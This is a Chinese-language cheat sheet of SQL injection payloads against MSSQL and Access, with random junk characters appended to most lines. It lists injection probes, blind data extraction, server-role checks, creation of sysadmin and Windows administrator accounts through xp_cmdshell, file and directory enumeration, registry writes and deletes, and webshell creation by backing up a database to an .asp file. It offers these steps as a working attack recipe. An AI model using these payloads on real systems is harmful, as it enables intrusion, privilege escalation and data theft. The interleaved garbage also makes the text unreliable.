1.判断是否有注入;and 1=1 ;and 1=2 /+wCx#!
2.初步判断是否是mssql ;and user>0 n +v(t
Gq=tR `.
3.注入参数是字符'and [查询条件] and ''=' !L[$t~z
8B?*?,n5
4.搜索时没过滤参数的'and [查询条件] and '%25'=' %45*DT
%E8HLTEvl
5.判断数据库系统 ~@#s<a,%;
ffW-R)U|3
;and (select count(*) from sysobjects)>0 mssql l&|Tb8_'
XqLR2d
;and (select count(*) from msysobjects)>0 access aH7@:=B
5{gv\S1
}wB!Bx2
\zh`z/=92
6.猜数据库 ;and (select Count(*) from [数据库名])>0 :]JMsa6
)Vz=:.D
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 3qQ}U}-; |
_RNP_$a
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Py`7)S
|Ed?s
9.(1)猜字段的ascii值(access) TH"<6*f2L
|J"\~%8
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 *5u3d`bW
/hur6yI8
(2)猜字段的ascii值(mssql) }ssP%c]
W K(GR\@
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 00LL&ot
tUksIUYD\
10.测试权限结构(mssql) Cp?6vu|RA
"#:h#uRUb
~tLvD [n[
C1#f/o ->
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ki'<qa
= R n
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- RDU 'l^
HBNX a
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- HXN. ,[
vA{DF{S4
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- }tW1\@
=
!gL1
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- G?^w
<
z5_jx&^Z
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- \j<aFOT(
: sG/
;and 1=(select IS_MEMBER('db_owner'));-- l1.eAs5U
\qDY0hIv t
Mr*CJgy
SBaTbY0
11.添加mssql和系统的帐户 dUBf.2ry
cj4o[l
;exec master.dbo.sp_addlogin username;-- _aU
:[v*!
;exec master.dbo.sp_password null,username,password;-- hltUf5m'b
BI<(]`FP;s
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- J vl-=~
}R~C<3u\2
;exec master.dbo.xp_cmdshell 'net user username password og1Cj{0
RT2&^9-
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- -
i{1h"
ac,<+y7A
;exec master.dbo.xp_cmdshell 'net user username password /add';-- j*FpQiBoT
i!G<sfL
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- hXD`OlX
xouBBb=
b)>l7nOc
<O41M\,
12.(1)遍历目录 QO>)ug+
-M+o;
;create table dirs(paths varchar(100), id int) /IG3>|R
np\*r|U
;insert dirs exec master.dbo.xp_dirtree 'c:\' #'m#Q6`
Pz|}[Cx-
;and (select top 1 paths from dirs)>0 wH\
K'/
A9WOu*G1O
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) &?I3xzvK
BwYR"
H?
%I((+
bo??91B^7
(2)遍历目录 "HLh3L~
t Kjk<
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- Va4AE)[/*
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 KkJE-k*D+w
Oiw!d6"Ovq
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 V0bKtg1f?-
!-7<x"avm
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 >J,IxRGi
'N&s$XB,
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 )"Wy/P
?i\$U'2*z3
}5d|y*
:2lM7|@/
13.mssql中的存储过程 EkOn Rm_hn
dCWq~[[
xp_regenumvalues 注册表根键, 子键
T2t o!*T
_AiGD
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 >p3S,2SM
h2aO-y>K
xp_regread 根键,子键,键值名 ?#:!!.I:
L(/wsw~y*
;exec xp_regread [3]h(D
(#Xgfb"S3
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 TrVQ]9;jWk
6f
J5Y
iQ
xp_regwrite 根键,子键, 值名, 值类型, 值 OSK:Cb.-?F
$cGV)[KWp@
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 rD>q/,X=\
/b{Ufo3v
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 i;67<f}-
o6X<FE#8
xp_regdeletevalue 根键,子键,值名 oTeQY[%$
rjH W
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 jYh.$g<`0+
++}#pl8e
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ?o(Y\YJf
I -XkxDw
MENrP5AL
zENo2#{_N
14.mssql的backup创建webshell /j:-GJb*!u
]r1Lr{7^S
use model Y2>*' nU
?nozB|*>ut
create table cmd(str image); !_:|mu'
+s5Yg,4*
insert into cmd(str) values (''); Z.0mX#
zQtx!k=
backup database model to disk='c:\l.asp'; peU1
t:k?
l 4cTN
@E
6
wD
Eqh&<]q
15.mssql内置函数 +B
OuU#
.:;#[Z{-
;and (select @@version)>0 获得Windows的版本号 kJ0otr2P
Rx4O?7;
;and user_name()='dbo' 判断当前系统的连接用户是不是sa L;'v,s
\fC}l
Ll
;and (select user_name())>0 爆当前系统的连接用户 .7H*F9
MLn?t^v-
;and (select db_name())>0 得到当前连接的数据库 ld'Aaxl&
c6HH%|
jhE3@c@pT
v?4MndR
16.简洁的webshell j`"cU$NRM
_MGhG{p7t
use model D?cE$P
|R>I#NO5
create table cmd(str image); zj'uKBDl
;Z#DB$o\
insert into cmd(str) values (''); cK2Us+h
@xAfD{}f!
backup database model to disk='g:\wwwtest\l.asp';